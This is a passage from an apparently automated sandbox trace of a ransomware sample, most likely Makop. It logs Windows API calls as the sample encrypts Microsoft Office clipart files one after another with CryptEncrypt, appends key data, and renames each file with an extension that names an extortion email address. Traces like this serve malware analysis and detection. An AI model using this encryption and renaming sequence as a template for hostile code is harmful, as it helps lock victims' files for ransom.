(hObject=0xf0) returned 1 [0149.521] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b4eb00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b4eb00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2926, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00200_.WMF", cAlternateFileName="")) returned 1 [0149.521] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF") returned 63 [0149.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.525] GetProcessHeap () returned 0x48a0000 [0149.525] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.525] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.525] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.525] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0149.529] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.529] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.529] GetProcessHeap () returned 0x48a0000 [0149.529] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.530] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.530] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.530] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.530] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.530] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.530] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.530] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.530] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.531] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.531] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2926, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2926, lpOverlapped=0x0) returned 1 [0149.535] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2930, dwBufLen=0x2930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2930) returned 1 [0149.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2930, lpOverlapped=0x0) returned 1 [0149.536] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.536] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.536] SetEndOfFile (hFile=0xf0) returned 1 [0149.544] GetProcessHeap () returned 0x48a0000 [0149.544] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.544] GetProcessHeap () returned 0x48a0000 [0149.544] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.544] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.546] CloseHandle (hObject=0xf0) returned 1 [0149.546] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd90f00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd90f00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00208_.WMF", cAlternateFileName="")) returned 1 [0149.546] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF") returned 63 [0149.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.547] GetProcessHeap () returned 0x48a0000 [0149.547] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.547] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.547] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.548] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.548] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.548] GetProcessHeap () returned 0x48a0000 [0149.548] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.548] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.548] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.548] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.552] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.553] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.553] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.553] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.553] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.553] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.553] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.553] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.554] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ea0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2ea0, lpOverlapped=0x0) returned 1 [0149.555] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ea0, dwBufLen=0x2ea0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2ea0) returned 1 [0149.555] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.555] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2ea0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2ea0, lpOverlapped=0x0) returned 1 [0149.556] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.556] SetEndOfFile (hFile=0xf0) returned 1 [0149.562] GetProcessHeap () returned 0x48a0000 [0149.562] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.563] GetProcessHeap () returned 0x48a0000 [0149.563] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.563] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.563] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.565] CloseHandle (hObject=0xf0) returned 1 [0149.565] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b20100, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b20100, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x4f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00212_.WMF", cAlternateFileName="")) returned 1 [0149.567] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF") returned 63 [0149.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.569] GetProcessHeap () returned 0x48a0000 [0149.569] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.569] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.569] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.569] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0149.574] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.574] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.574] GetProcessHeap () returned 0x48a0000 [0149.574] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.574] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.574] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.574] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.574] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.575] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.575] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.575] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.575] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.575] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.576] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.576] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.576] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4f72, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4f72, lpOverlapped=0x0) returned 1 [0149.578] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f80, dwBufLen=0x4f80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f80) returned 1 [0149.578] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.578] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4f80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4f80, lpOverlapped=0x0) returned 1 [0149.578] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.578] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.578] SetEndOfFile (hFile=0xf0) returned 1 [0149.586] GetProcessHeap () returned 0x48a0000 [0149.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.586] GetProcessHeap () returned 0x48a0000 [0149.586] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.587] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0149.587] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00212_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0149.588] CloseHandle (hObject=0xf0) returned 1 [0149.589] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00221_.WMF", cAlternateFileName="")) returned 1 [0149.589] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF") returned 63 [0149.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00221_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0149.590] GetProcessHeap () returned 0x48a0000 [0149.590] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0149.590] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0149.590] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0149.590] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0149.595] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.595] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.595] GetProcessHeap () returned 0x48a0000 [0149.595] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0149.595] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0149.595] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.595] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0149.595] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0149.596] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0149.596] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0149.596] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0149.596] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0149.597] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0149.597] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0149.597] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.597] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f74, lpOverlapped=0x0) returned 1 [0149.598] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f80, dwBufLen=0x1f80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f80) returned 1 [0149.599] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.599] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f80, lpOverlapped=0x0) returned 1 [0149.599] CryptDestroyKey (hKey=0x48c7128) returned 1 [0149.599] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.599] SetEndOfFile (hFile=0xf0) returned 1 [0149.607] GetProcessHeap () returned 0x48a0000 [0149.607] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0149.607] GetProcessHeap () returned 0x48a0000 [0149.607] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0149.607] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00221_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 